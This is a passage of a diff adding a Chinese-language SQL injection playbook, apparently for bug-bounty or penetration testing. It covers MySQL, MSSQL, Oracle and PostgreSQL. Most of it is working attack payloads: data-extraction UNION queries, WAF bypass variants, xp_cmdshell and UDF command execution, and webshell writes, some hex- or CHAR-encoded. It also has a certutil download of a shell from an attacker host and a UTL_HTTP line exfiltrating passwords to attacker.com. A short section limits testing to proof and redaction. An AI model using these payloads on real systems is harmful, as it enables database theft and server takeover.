+ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--
223
+
224
+ -- Step 4: 列名
225
+ union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--
226
+
227
+ -- Step 5: 数据
228
+ union select 1,group_concat(username,0x3a,password),3 from users--
229
+
230
+ -- Step 6: 文件读(FILE 权限)
231
+ union select 1,load_file('/etc/passwd'),3--
232
+
233
+ -- Step 7: webshell(FILE + 写权限 + 路径已知)
234
+ union select 1,'<?php @system($_POST[c]);?>',3 into outfile '/var/www/html/shell.php'--
235
+ ```
236
+
237
+ #### MSSQL
238
+
239
+ ```sql
240
+ union select 1,@@version,db_name(),system_user,5--
241
+ union select 1,name,3 from master..sysdatabases--
242
+ union select 1,name,3 from sysobjects where xtype='U'--
243
+ union select 1,name,3 from syscolumns where id=object_id('users')--
244
+
245
+ -- 命令执行(sa)
246
+ ; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
247
+ EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
248
+ EXEC master..xp_cmdshell 'whoami'--
249
+ ```
250
+
251
+ #### Oracle
252
+
253
+ ```sql
254
+ union select banner,null from v$version where rownum=1--
255
+ union select user,null from dual--
256
+ union select table_name,null from all_tables where rownum<=10--
257
+ ```
258
+
259
+ ### 3.5 工具
260
+
261
+ ```bash
262
+ # sqlmap(最常用)
263
+ sqlmap -u "https://target/page.php?id=1" --batch
264
+ sqlmap -r request.txt --batch # 用 Burp 保存的请求
265
+ sqlmap -u "..." --dbs # 列库
266
+ sqlmap -u "..." -D dbname --tables
267
+ sqlmap -u "..." -D dbname -T users --columns
268
+ sqlmap -u "..." -D dbname -T users -C "username,password" --dump --start 1 --stop 3 # 限制取 3 条
269
+ sqlmap -u "..." --tamper=between,space2comment,charencode # 多 tamper 串联
270
+ sqlmap -u "..." --time-sec=10 --technique=T # 仅时间盲
271
+ sqlmap -u "..." --os-shell # 仅在授权场景
272
+ ```
273
+
274
+ ---
275
+
276
+ ## 4. Bypass 矩阵(详见 methodology/02-bypass-toolkit.md)
277
+
278
+ | 维度 | Payload |
279
+ |------|---------|
280
+ | 关键字 | `UnIoN SeLeCt` / `un/**/ion sel/**/ect` / `/*!50000union*//*!50000select*/` |
281
+ | 空格 | `/**/` / `%09` / `%0a` / 括号 / `+` |
282
+ | 引号 | `0x...` 十六进制 / `char()` / `%df%27`(GBK 宽字节) |
283
+ | 函数 | `mid()`/`substr()`/`substring()`/`left()` 互换;`if()`/`case when` |
284
+ | 等号 | `LIKE`/`REGEXP`/`IN(1)`/`BETWEEN` |
285
+ | 注释 | `--` / `#` / `/**/` / `;%00` |
286
+ | 二次注入 | 先存(含 `'`)再触发查询 |
287
+ | 入口换 | Header / Cookie / X-Forwarded-For 注入 |
288
+
289
+ ### sqlmap tamper 速记
290
+
291
+ ```
292
+ between, space2comment, charencode, bluecoat, modsecurityzeroversioned,
293
+ versionedmorekeywords, randomcase, percentage, equaltolike, apostrophemask,
294
+ space2hash, space2mssqlblank, space2plus
295
+ ```
296
+
297
+ ### 真实 WooYun 绕过 payload
298
+
299
+ ```
300
+ # 内联注释(DeDeCMS 经典绕过)
301
+ aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `#@__admin` limit 0,1),5,6,7,8,9#@`\'`
302
+
303
+ # 双层 sleep(wooyun-2015-0114228)
304
+ hotelid=(select(2)from(select(sleep(8)))v)
305
+ hotelid=(SELECT (CASE WHEN (8177=8177) THEN SLEEP(10) ELSE 8177*(SELECT 8177 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
306
+
307
+ # 报错链(wooyun-2015-0157074)
308
+ txtuser=-7004' OR 6089=6089#
309
+ txtuser=-8086' OR 1 GROUP BY CONCAT(0x716b767171,(SELECT (CASE WHEN (5800=5800) THEN 1 ELSE 0 END)),0x7171627171,FLOOR(RAND(0)*2)) HAVING MIN(0)#
310
+ ```
311
+
312
+ ---
313
+
314
+ ## 5. 利用提权 / 横向
315
+
316
+ ```
317
+ SQLi
318
+ → 拿 admin hash → 离线破解(rockyou.txt) → 登录后台
319
+ → 拿全表数据
320
+ → 拿 DB 版本 → 找已知 CVE
321
+ → DBA 权限 → load_file / outfile → 任意文件读写 → Webshell → RCE
322
+ → MSSQL xp_cmdshell → RCE
323
+ → 堆叠注入 + xp_cmdshell(MSSQL)
324
+ → Oracle UTL_HTTP.request → SSRF
325
+ ```
326
+
327
+ 参考案例:wooyun-2015-0157074 广州嘉航软件,DBA 权限 + root hash + 512 用户密码。
328
+
329
+ ---
330
+
331
+ ## 6. 真实案例指纹
332
+
333
+ | 类型 | wooyun ID | Payload 特征 |
334
+ |------|----------|------------|
335
+ | 报错 + 布尔 | wooyun-2015-0157074 | `txtuser=-7004' OR 6089=6089#` |
336
+ | 双层时间盲 | wooyun-2015-0114228 | `(select(2)from(select(sleep(8)))v)` |
337
+ | 内联注释 | wooyun-2015-0113920 | `/*!50000union*//*!50000select*/` |
338
+ | ASP.NET ViewState | 多 | 改 `__VIEWSTATE` 触发反序列化 |
339
+ | Header 注入 | 多 | `User-Agent: 1' AND ...` |
340
+
341
+ 通用指纹:
342
+ - 错误信息含 `MySQL syntax error` / `near` / `unclosed quotation` / `ORA-00942` → 数据库类型确认
343
+ - 同参数 `?id=1 AND sleep(5)` 5s 延时 + `?id=1 AND sleep(0)` 0s = 100% 时间盲
344
+ - `?id=1` 与 `?id=2-1` 返回相同 = 数字型,可注入
345
+
346
+ ---
347
+
348
+ ## 7. 复现 / 证据要点
349
+
350
+ ### 7.1 报告必备
351
+
352
+ 1. **基线**:`?id=1` 正常响应
353
+ 2. **注入证明**:报错 / 布尔差异 / 时间差(≥5s 稳定)
354
+ 3. **数据证据**:`version()`、`current_database()`、第一行 admin 用户名(脱敏)
355
+ 4. **影响升级链**:能读 admin hash?能读其他库?能 outfile?
356
+
357
+ ### 7.2 PoC 模板
358
+
359
+ ```http
360
+ GET /api/search?keyword=test' AND (SELECT SLEEP(5))-- - HTTP/1.1
361
+ Host: target.com
362
+
363
+ → 响应时间:5.234s
364
+
365
+ GET /api/search?keyword=test' AND (SELECT SLEEP(0))-- - HTTP/1.1
366
+ → 响应时间:0.087s
367
+
368
+ # 5 次复现
369
+ 1: 5.21s vs 0.09s
370
+ 2: 5.18s vs 0.07s
371
+ 3: 5.31s vs 0.08s
372
+ 4: 5.22s vs 0.09s
373
+ 5: 5.19s vs 0.08s
374
+
375
+ # 数据证明
376
+ GET /api/search?keyword=test' UNION SELECT 1,version(),3-- -
377
+
378
+ → 响应:[{"id":1,"name":"5.7.34-log","desc":3}]
379
+ ```
380
+
381
+ ### 7.3 sqlmap log 附件
382
+
383
+ ```
384
+ 保留 sqlmap 的 -v 3 输出 log,证明工具识别为可注入。
385
+ 日志含:
386
+ [INFO] testing connection to the target URL
387
+ [INFO] testing if the target URL content is stable
388
+ [INFO] target URL content is stable
389
+ ...
390
+ [INFO] (parameter) is vulnerable. Do you want to keep testing the others (if any)? [y/N]
391
+ ```
392
+
393
+ ### 7.4 CVSS
394
+
395
+ ```
396
+ 未授权 SQLi(可拖库) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1
397
+ 认证 SQLi CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N = 8.1
398
+ SQLi → RCE (DBA) = 9.8
399
+ 仅时间盲 / 不可拖 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N = 5.3
400
+ ```
401
+
402
+ ### 7.5 影响段
403
+
404
+ ```
405
+ 通过 /api/search 接口的 keyword 参数,攻击者可注入 SQL 指令,
406
+ 基于时间的盲注稳定 5 秒延时差异(5/5 复现)。
407
+
408
+ 通过 UNION SELECT 已确认:
409
+ 1. 数据库版本 5.7.34-log(MySQL)
410
+ 2. 当前库 prod_main
411
+ 3. users 表存在 admin 用户(用户名前缀 ad****)
412
+
413
+ 我未尝试拖出完整数据 / 读 admin 密码 hash / outfile 写文件。
414
+ ```
415
+
416
+ ---
417
+
418
+ ## 8. 不要做的事
419
+
420
+ - **禁**:用 sqlmap 全量 dump 表(即使能)。`--start 1 --stop 3` 拿 3 条样本足够。
421
+ - **禁**:实际 outfile 写文件 / xp_cmdshell 执行命令。"证明能"即可。
422
+ - **禁**:报告中粘贴他人完整 PII。脱敏到只剩前 2 + 后 2 字符。
423
+ - **禁**:用读到的 admin hash 离线破解后实际登录目标后台。
424
+ - **禁**:堆叠 DROP / DELETE / UPDATE 语句。仅 SELECT。
425
+ - **限**:sqlmap 默认线程偏激进,`--threads=1 --delay=1`。
426
+ - **报告中**:admin 密码 hash 写前 8 字符 + sha256 of full hash。
427
+
428
+ ## H1 真实案例
429
+
430
+ _共 147 份 HackerOne 已披露 High/Critical 报告命中本类,按 (赏金 + 投票×100) 排序取 Top 12_
431
+
432
+ | Severity | $ | 程序 | 标题(点击看原报告) | 摘要 |
433
+ |---|--:|---|---|---|
434
+ | Critical | — | Starbucks | [SQL Injection Extracts Starbucks Enterprise Accounting, Financial, Payroll Database](https://hackerone.com/reports/531051) | SQL Injection Extracts Starbucks Enterprise Accounting, Financial, Payroll Database |
435
+ | Critical | — | GSA Bounty | [SQL injection in https://labs.data.gov/dashboard/datagov/csv_to_json via User-agent](https://hackerone.com/reports/297478) | I've identified an SQL injection vulnerability in the website **labs.data.gov** that affects the endpoint `/dashboard/datagov/c… |
436
+ | Critical | 25000 usd | Valve | [SQL Injection in report_xml.php through countryFilter[] parameter](https://hackerone.com/reports/383127) | SQL Injection in report_xml.php through countryFilter[] parameter |
437
+ | Critical | 4500 usd | Eternal | [[www.zomato.com] SQLi - /php/██████████ - item_id](https://hackerone.com/reports/403616) | [www.zomato.com] SQLi - /php/██████████ - item_id |
438
+ | High | — | MTN Group | [SQL Injection on cookie parameter](https://hackerone.com/reports/761304) | Summary: Hello team. It seams one of the parameters in the cookies is vulnerable to SQL injection. Below requests has the lang … |
439
+ | High | 4500 usd | Grab | [www.drivegrab.com SQL injection](https://hackerone.com/reports/273946) | Summary:** The website uses a WordPress plugin called Formidable Pro. I found an SQL injection in the plugin code. Description:… |
440
+ | Critical | 4134 usd | inDrive | [Blind SQL injection on id.indrive.com](https://hackerone.com/reports/2051931) | Summary: The server does not perform sanitization on user input, allowing an attacker to inject arbitrary SQL commands into a q… |
441
+ | High | — | Acronis | [SQL Injection in agent-manager](https://hackerone.com/reports/962889) | 1.https://mc-beta-cloud.acronis.com/api/agent_manager/v2/unit_configurations?name=update-schedule&no_data=false&tenant_id=15902… |
442
+ | Critical | — | Starbucks | [Blind SQLi leading to RCE, from Unauthenticated access to a test API Webservice](https://hackerone.com/reports/592400) | Blind SQLi leading to RCE, from Unauthenticated access to a test API Webservice |
443
+ | High | — | Starbucks | [Blind SQL Injection on starbucks.com.gt and WAF Bypass :*](https://hackerone.com/reports/549355) | Blind SQL Injection on starbucks.com.gt and WAF Bypass :* |
444
+ | Critical | — | HackerOne | [SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter](https://hackerone.com/reports/435066) | The `embedded_submission_form_uuid` parameter in the `/graphql` endpoint is vulnerable to a SQL injection |
445
+ | High | — | Automattic | [Sql injection on docs.atavist.com](https://hackerone.com/reports/1039315) | hello dear team I have found SQL injection on docs.atavist.com url:http://docs.atavist.com/reader_api/stories.php?limit=10&offs… |
446
+
447
+ **命中本类的 weakness 分布:**
448
+
449
+ - SQL Injection:140 条
450
+ - Uncategorized → 手工归类:2 条
451
+ - XML Injection:2 条
452
+ - LDAP Injection:2 条
453
+ - Blind SQL Injection:1 条
454
+
455
+
456
+ ## Payload 库
457
+
458
+ _17 个结构化 web payload,含完整攻击链 + WAF/EDR 绕过变体_
459
+
460
+ ### MySQL注入 - 基础探测 `sqli-mysql-basic`
461
+ MySQL数据库注入基础探测与数据提取技术
462
+ 子类:**MySQL** · tags: `sqli` `mysql` `injection` `database`
463
+
464
+ **前置条件:** 目标存在SQL注入点;后端数据库为MySQL;了解基本SQL语法
465
+
466
+ **攻击链:**
467
+
468
+ **1. 1. 探测注入点**
469
+ _使用单引号和布尔条件探测是否存在注入点_
470
+ ```
471
+ ' OR '1'='1
472
+ ' OR 1=1--
473
+ 1' AND '1'='1
474
+ 1' AND '1'='2
475
+ ```
476
+
477
+ **2. 2. 确定列数**
478
+ _使用ORDER BY或UNION SELECT NULL确定查询列数_
479
+ ```
480
+ ' ORDER BY 1--
481
+ ' ORDER BY 2--
482
+ ' ORDER BY 3--
483
+ 直到报错确定列数
484
+ 或使用:
485
+ ' UNION SELECT NULL--
486
+ ' UNION SELECT NULL,NULL--
487
+ ' UNION SELECT NULL,NULL,NULL--
488
+ ```
489
+
490
+ **3. 3. 确定显示位置**
491
+ _找出哪些列会显示在页面上_
492
+ ```
493
+ ' UNION SELECT 1,2,3--
494
+ ' UNION SELECT 'a','b','c'--
495
+ ```
496
+
497
+ **4. 4. 获取数据库信息**
498
+ _获取当前数据库名、用户、版本等基础信息_
499
+ ```
500
+ ' UNION SELECT 1,database(),3--
501
+ ' UNION SELECT 1,user(),3--
502
+ ' UNION SELECT 1,version(),3--
503
+ ' UNION SELECT 1,@@hostname,3--
504
+ ```
505
+
506
+ **5. 5. 枚举所有数据库**
507
+ _获取MySQL服务器上所有数据库名_
508
+ ```
509
+ ' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata--
510
+ ' UNION SELECT schema_name,2,3 FROM information_schema.schemata LIMIT 0,1--
511
+ ```
512
+
513
+ **6. 6. 枚举表名**
514
+ _获取指定数据库中的所有表名_
515
+ ```
516
+ ' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
517
+ ' UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema='target_db' LIMIT 0,1--
518
+ ```
519
+
520
+ **7. 7. 枚举列名**
521
+ _获取指定表的所有列名_
522
+ ```
523
+ ' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--
524
+ ' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users' AND table_schema=database() LIMIT 0,1--
525
+ ```
526
+
527
+ **8. 8. 提取数据**
528
+ _从目标表中提取敏感数据_
529
+ ```
530
+ ' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--
531
+ ' UNION SELECT username,password,3 FROM users LIMIT 0,1--
532
+ ```
533
+
534
+ **WAF/EDR 绕过变体:**
535
+
536
+ **1. 大小写混淆**
537
+ _使用大小写混合绕过关键字过滤_
538
+ ```
539
+ ' UnIoN SeLeCt 1,database(),3--
540
+ ' uNiOn SeLeCt 1,user(),3--
541
+ ```
542
+
543
+ **2. 内联注释**
544
+ _使用MySQL特有内联注释绕过_
545
+ ```
546
+ ' /*!UNION*/ /*!SELECT*/ 1,database(),3--
547
+ ' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--
548
+ ```
549
+
550
+ **3. 双写绕过**
551
+ _双写关键字绕过替换过滤_
552
+ ```
553
+ ' UNUNIONION SELSELECTECT 1,database(),3--
554
+ ' UNIunionON SELselectECT 1,2,3--
555
+ ```
556
+
557
+ **4. 空格替代**
558
+ _使用注释、换行、括号替代空格_
559
+ ```
560
+ '/**/UNION/**/SELECT/**/1,database(),3--
561
+ ' %0aUNION%0aSELECT%0a1,2,3--
562
+ '(UNION(SELECT(1),(database()),(3)))--
563
+ ```
564
+
565
+ **5. 编码绕过**
566
+ _使用编码函数绕过关键字检测_
567
+ ```
568
+ ' UNION SELECT 1,hex(database()),3--
569
+ ' UNION SELECT 1,unhex(hex(database())),3--
570
+ ' UNION SELECT 1,conv(hex(database()),16,10),3--
571
+ ```
572
+
573
+ ---
574
+
575
+ ### MySQL注入 - 高级技术 `sqli-mysql-advanced`
576
+ MySQL高级注入技术:文件读写、UDF提权、命令执行
577
+ 子类:**MySQL** · tags: `sqli` `mysql` `advanced` `file-read` `rce`
578
+
579
+ **前置条件:** MySQL用户具有FILE权限;知道网站绝对路径;secure_file_priv配置允许
580
+
581
+ **攻击链:**
582
+
583
+ **1. 1. 检测FILE权限**
584
+ _检测当前用户是否有FILE权限_
585
+ ```
586
+ ' UNION SELECT 1,file_priv,3 FROM mysql.user WHERE user=current_user()--
587
+ ' AND (SELECT file_priv FROM mysql.user WHERE user=current_user())='Y'--
588
+ ```
589
+
590
+ **2. 2. 获取网站路径**
591
+ _通过错误信息或读取文件获取网站路径_
592
+ ```
593
+ ' UNION SELECT 1,@@basedir,3--
594
+ ' UNION SELECT 1,@@datadir,3--
595
+ ' UNION SELECT 1,load_file('/etc/passwd'),3--
596
+ ```
597
+
598
+ **3. 3. 读取敏感文件**
599
+ _使用load_file读取系统敏感文件_
600
+ ```
601
+ ' UNION SELECT 1,load_file('/etc/passwd'),3--
602
+ ' UNION SELECT 1,load_file('/var/www/html/config.php'),3--
603
+ ' UNION SELECT 1,load_file('C:/windows/win.ini'),3--
604
+ ```
605
+
606
+ **4. 4. 写入WebShell** _[linux]_
607
+ _使用INTO OUTFILE写入WebShell_
608
+ ```
609
+ ' UNION SELECT 1,'<?php @eval($_POST[cmd]);?>',3 INTO OUTFILE '/var/www/html/shell.php'--
610
+ ' UNION SELECT 1,'<?php system($_GET[c]);?>',3 INTO OUTFILE '/var/www/html/cmd.php'--
611
+ ```
612
+
613
+ **5. 5. 日志写Shell** _[linux]_
614
+ _通过开启general_log写入Shell_
615
+ ```
616
+ SET GLOBAL general_log='ON';
617
+ SET GLOBAL general_log_file='/var/www/html/shell.php';
618
+ SELECT '<?php @eval($_POST[cmd]);?>';
619
+ ```
620
+
621
+ **6. 6. UDF提权** _[linux]_
622
+ _使用UDF提权执行系统命令_
623
+ ```
624
+ SELECT load_file('/tmp/lib_mysqludf_sys.so') INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
625
+ CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
626
+ SELECT sys_eval('id');
627
+ ```
628
+
629
+ **WAF/EDR 绕过变体:**
630
+
631
+ **1. Hex编码写入** _[linux]_
632
+ _使用十六进制编码绕过关键字检测_
633
+ ```
634
+ ' UNION SELECT 1,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e,3 INTO DUMPFILE '/var/www/html/shell.php'--
635
+ ```
636
+
637
+ **2. Char编码绕过** _[linux]_
638
+ _使用CHAR函数编码绕过_
639
+ ```
640
+ ' UNION SELECT 1,CHAR(60,63,112,104,112,32,64,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,59,63,62),3 INTO OUTFILE '/var/www/html/s.php'--
641
+ ```
642
+
643
+ ---
644
+
645
+ ### MSSQL注入 - 基础探测 `sqli-mssql-basic`
646
+ Microsoft SQL Server数据库注入技术
647
+ 子类:**MSSQL** · tags: `sqli` `mssql` `sqlserver` `injection`
648
+
649
+ **前置条件:** 目标存在SQL注入点;后端使用MSSQL数据库
650
+
651
+ **攻击链:**
652
+
653
+ **1. 1. 探测注入点**
654
+ _基础注入探测_
655
+ ```
656
+ ' OR 1=1--
657
+ ' OR '1'='1
658
+ 1' AND 1=1--
659
+ 1' AND 1=2--
660
+ ```
661
+
662
+ **2. 2. 获取版本信息**
663
+ _获取MSSQL版本信息_
664
+ ```
665
+ ' UNION SELECT 1,@@version,3--
666
+ ' UNION SELECT 1,SERVERPROPERTY('Edition'),3--
667
+ ' UNION SELECT 1,SERVERPROPERTY('ProductVersion'),3--
668
+ ```
669
+
670
+ **3. 3. 获取用户信息**
671
+ _获取当前用户及权限信息_
672
+ ```
673
+ ' UNION SELECT 1,user_name(),3--
674
+ ' UNION SELECT 1,suser_name(),3--
675
+ ' UNION SELECT 1,system_user,3--
676
+ ' UNION SELECT 1,is_srvrolemember('sysadmin'),3--
677
+ ```
678
+
679
+ **4. 4. 获取数据库信息**
680
+ _获取所有数据库名_
681
+ ```
682
+ ' UNION SELECT 1,db_name(),3--
683
+ ' UNION SELECT 1,db_name(0),3--
684
+ ' UNION SELECT 1,db_name(1),3--
685
+ ' UNION SELECT name,2,3 FROM master..sysdatabases--
686
+ ```
687
+
688
+ **5. 5. 获取表名**
689
+ _获取用户表名_
690
+ ```
691
+ ' UNION SELECT 1,name,3 FROM sysobjects WHERE xtype='U'--
692
+ ' UNION SELECT 1,name,3 FROM sys.tables--
693
+ ' UNION SELECT 1,table_name,3 FROM information_schema.tables--
694
+ ```
695
+
696
+ **6. 6. 获取列名**
697
+ _获取指定表的列名_
698
+ ```
699
+ ' UNION SELECT 1,name,3 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')--
700
+ ' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--
701
+ ```
702
+
703
+ **7. 7. 提取数据**
704
+ _提取表中的数据_
705
+ ```
706
+ ' UNION SELECT 1,username+':'+password,3 FROM users--
707
+ ' UNION SELECT TOP 1 username,password,3 FROM users--
708
+ ```
709
+
710
+ **WAF/EDR 绕过变体:**
711
+
712
+ **1. Hex编码**
713
+ _使用Hex编码绕过_
714
+ ```
715
+ ' UNION SELECT 1,master.dbo.fn_varbintohexstr(CAST(username AS VARBINARY)),3 FROM users--
716
+ ```
717
+
718
+ **2. 注释绕过**
719
+ _使用注释和空字节绕过_
720
+ ```
721
+ '/**/UNION/**/SELECT/**/1,2,3--
722
+ ' UN%00ION SELECT 1,2,3--
723
+ ```
724
+
725
+ ---
726
+
727
+ ### MSSQL注入 - 高级技术 `sqli-mssql-advanced`
728
+ MSSQL高级注入:xp_cmdshell、SP_OACREATE命令执行
729
+ 子类:**MSSQL** · tags: `sqli` `mssql` `xp_cmdshell` `rce`
730
+
731
+ **前置条件:** MSSQL具有高权限;xp_cmdshell可用或可开启
732
+
733
+ **攻击链:**
734
+
735
+ **1. 1. 检测xp_cmdshell状态** _[windows]_
736
+ _检测xp_cmdshell是否可用_
737
+ ```
738
+ ' UNION SELECT 1,OBJECT_ID('xp_cmdshell'),3--
739
+ '; EXEC master..xp_cmdshell 'whoami'--
740
+ ```
741
+
742
+ **2. 2. 开启xp_cmdshell** _[windows]_
743
+ _如果xp_cmdshell被禁用,尝试开启_
744
+ ```
745
+ '; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--
746
+ ```
747
+
748
+ **3. 3. 执行系统命令** _[windows]_
749
+ _使用xp_cmdshell执行系统命令_
750
+ ```
751
+ '; EXEC master..xp_cmdshell 'whoami'--
752
+ '; EXEC master..xp_cmdshell 'net user'--
753
+ '; EXEC master..xp_cmdshell 'dir C:'--
754
+ ```
755
+
756
+ **4. 4. 写入WebShell** _[windows]_
757
+ _写入或下载WebShell_
758
+ ```
759
+ '; EXEC master..xp_cmdshell 'echo ^<%execute(request("cmd"))^> > C:\inetpub\wwwroot\shell.asp'--
760
+ '; EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://attacker/shell.aspx C:\inetpub\wwwroot\shell.aspx'--
761
+ ```
762
+
763
+ **5. 5. SP_OACREATE方法** _[windows]_
764
+ _使用SP_OACREATE执行命令_
765
+ ```
766
+ '; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
767
+ DECLARE @shell INT;
768
+ EXEC SP_OACREATE 'wscript.shell', @shell OUTPUT;
769
+ EXEC SP_OAMETHOD @shell, 'run', NULL, 'cmd /c whoami > C:\output.txt';--
770
+ ```
771
+
772
+ **WAF/EDR 绕过变体:**
773
+
774
+ **1. 堆叠查询** _[windows]_
775
+ _使用动态SQL绕过_
776
+ ```
777
+ '; EXEC('EXEC master..xp_cmdshell ''whoami''')--
778
+ '; DECLARE @cmd VARCHAR(255); SET @cmd='whoami'; EXEC master..xp_cmdshell @cmd;--
779
+ ```
780
+
781
+ ---
782
+
783
+ ### Oracle注入 - 基础探测 `sqli-oracle-basic`
784
+ Oracle数据库注入基础技术
785
+ 子类:**Oracle** · tags: `sqli` `oracle` `injection`
786
+
787
+ **前置条件:** 目标存在SQL注入点;后端使用Oracle数据库
788
+
789
+ **攻击链:**
790
+
791
+ **1. 1. 探测注入点**
792
+ _探测注入点类型_
793
+ ```
794
+ ' OR 1=1--
795
+ ' OR '1'='1
796
+ ' UNION SELECT NULL,NULL,NULL FROM DUAL--
797
+ ```
798
+
799
+ **2. 2. 获取版本信息**
800
+ _获取Oracle版本_
801
+ ```
802
+ ' UNION SELECT banner,NULL FROM v$version WHERE rownum=1--
803
+ ' UNION SELECT version,NULL FROM v$instance--
804
+ ```
805
+
806
+ **3. 3. 获取用户信息**
807
+ _获取数据库用户_
808
+ ```
809
+ ' UNION SELECT username,NULL FROM all_users--
810
+ ' UNION SELECT user,NULL FROM DUAL--
811
+ ' UNION SELECT SYS_CONTEXT('USERENV','SESSION_USER'),NULL FROM DUAL--
812
+ ```
813
+
814
+ **4. 4. 获取表名**
815
+ _获取表名_
816
+ ```
817
+ ' UNION SELECT table_name,NULL FROM all_tables WHERE owner='SCOTT'--
818
+ ' UNION SELECT owner||'.'||table_name,NULL FROM all_tables--
819
+ ```
820
+
821
+ **5. 5. 获取列名**
822
+ _获取列名和数据类型_
823
+ ```
824
+ ' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='USERS'--
825
+ ' UNION SELECT column_name||':'||data_type,NULL FROM all_tab_columns WHERE table_name='USERS'--
826
+ ```
827
+
828
+ **6. 6. 提取数据**
829
+ _提取表数据_
830
+ ```
831
+ ' UNION SELECT username||':'||password,NULL FROM users--
832
+ ' UNION SELECT * FROM (SELECT username,password FROM users) WHERE rownum<=1--
833
+ ```
834
+
835
+ **WAF/EDR 绕过变体:**
836
+
837
+ **1. UTL_HTTP外带**
838
+ _使用UTL_HTTP外带数据_
839
+ ```
840
+ ' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE rownum=1)),NULL FROM DUAL--
841
+ ```
842
+
843
+ ---
844
+
845
+ ### Oracle注入 - 高级技术 `sqli-oracle-advanced`
846
+ Oracle高级注入技术:Java存储过程、UTL_FILE文件操作
847
+ 子类:**Oracle** · tags: `sqli` `oracle` `advanced` `rce`
848
+
849
+ **前置条件:** Oracle高权限;Java虚拟机可用
850
+
851
+ **攻击链:**
852
+
853
+ **1. 1. 检测Java权限**
854
+ _检测Java存储过程是否可用_
855
+ ```
856
+ ' UNION SELECT 1,CASE WHEN DBMS_JAVA.TEST_OUTPUT('test') IS NOT NULL THEN 'YES' ELSE 'NO' END FROM DUAL--
857
+ ```
858
+
859
+ **2. 2. 创建Java执行函数**
860
+ _使用Java执行系统命令_
861
+ ```
862
+ ' UNION SELECT 1,(SELECT DBMS_JAVA.RUNJAVA('java.lang.Runtime.exec("cmd /c whoami")') FROM DUAL)--
863
+ ```
864
+
865
+ **3. 3. UTL_FILE读取文件**
866
+ _使用UTL_FILE操作文件_
867
+ ```
868
+ ' UNION SELECT 1,UTL_FILE.FGETATTR('DATA_PUMP_DIR','/etc/passwd','file_exists') FROM DUAL--
869
+ ```
870
+
871
+ **WAF/EDR 绕过变体:**
872
+
873
+ **1. Oracle特有函数绕过**
874
+ _使用Oracle XMLType、DBMS_PIPE、CASE表达式等特有函数绕过WAF关键字检测_
875
+ ```
876
+ ' UNION SELECT 1,XMLType('<root>'||CHR(60)||'data'||CHR(62)||user||'</data></root>') FROM DUAL--
877
+ ' UNION SELECT 1,DBMS_PIPE.PACK_MESSAGE(user)||DBMS_PIPE.SEND_MESSAGE('pipe1') FROM DUAL--
878
+ ' UNION SELECT 1,CASE WHEN (SELECT user FROM DUAL)='SYS' THEN 'admin' ELSE 'user' END FROM DUAL--
879
+ ```
880
+
881
+ **2. Oracle注释与编码绕过**
882
+ _使用注释符替代空格、CHR()编码字符串、RAWTOHEX/UTL_ENCODE进行数据编码绕过_
883
+ ```
884
+ ' UNION/**/SELECT/**/1,user/**/FROM/**/DUAL--
885
+ ' UNION SELECT 1,CHR(65)||CHR(68)||CHR(77)||CHR(73)||CHR(78) FROM DUAL--
886
+ ' UNION SELECT 1,RAWTOHEX(user) FROM DUAL--
887
+ ' UNION SELECT 1,UTL_RAW.CAST_TO_VARCHAR2(UTL_ENCODE.BASE64_ENCODE(UTL_RAW.CAST_TO_RAW(user))) FROM DUAL--
888
+ ```
889
+
890
+ ---
891
+
892
+ ### PostgreSQL注入 - 基础探测 `sqli-postgres-basic`
893
+ PostgreSQL数据库注入技术
894
+ 子类:**PostgreSQL** · tags: `sqli` `postgresql` `postgres` `injection`
895
+
896
+ **前置条件:** 目标存在SQL注入点;后端使用PostgreSQL
897
+
898
+ **攻击链:**
899
+
900
+ **1. 1. 探测注入点**
901
+ _探测注入点_
902
+ ```
903
+ ' OR 1=1--
904
+ ' OR '1'='1
905
+ ' UNION SELECT NULL,NULL,NULL--
906
+ ```
907
+
908
+ **2. 2. 获取版本信息**
909
+ _获取数据库信息_
910
+ ```
911
+ ' UNION SELECT version(),NULL--
912
+ ' UNION SELECT current_database(),NULL--
913
+ ' UNION SELECT current_user,NULL--
914
+ ```
915
+
916
+ **3. 3. 获取表名**
917
+ _获取public模式下的表_
918
+ ```
919
+ ' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema='public'--
920
+ ```
921
+
922
+ **4. 4. 获取列名**
923
+ _获取列名_
924
+ ```
925
+ ' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
926
+ ```
927
+
928
+ **5. 5. 读取文件** _[linux]_
929
+ _使用pg_read_file读取文件_
930
+ ```
931
+ ' UNION SELECT pg_read_file('/etc/passwd'),NULL--
932
+ ' UNION SELECT pg_read_binary_file('/etc/passwd'),NULL--
933
+ ```
934
+
935
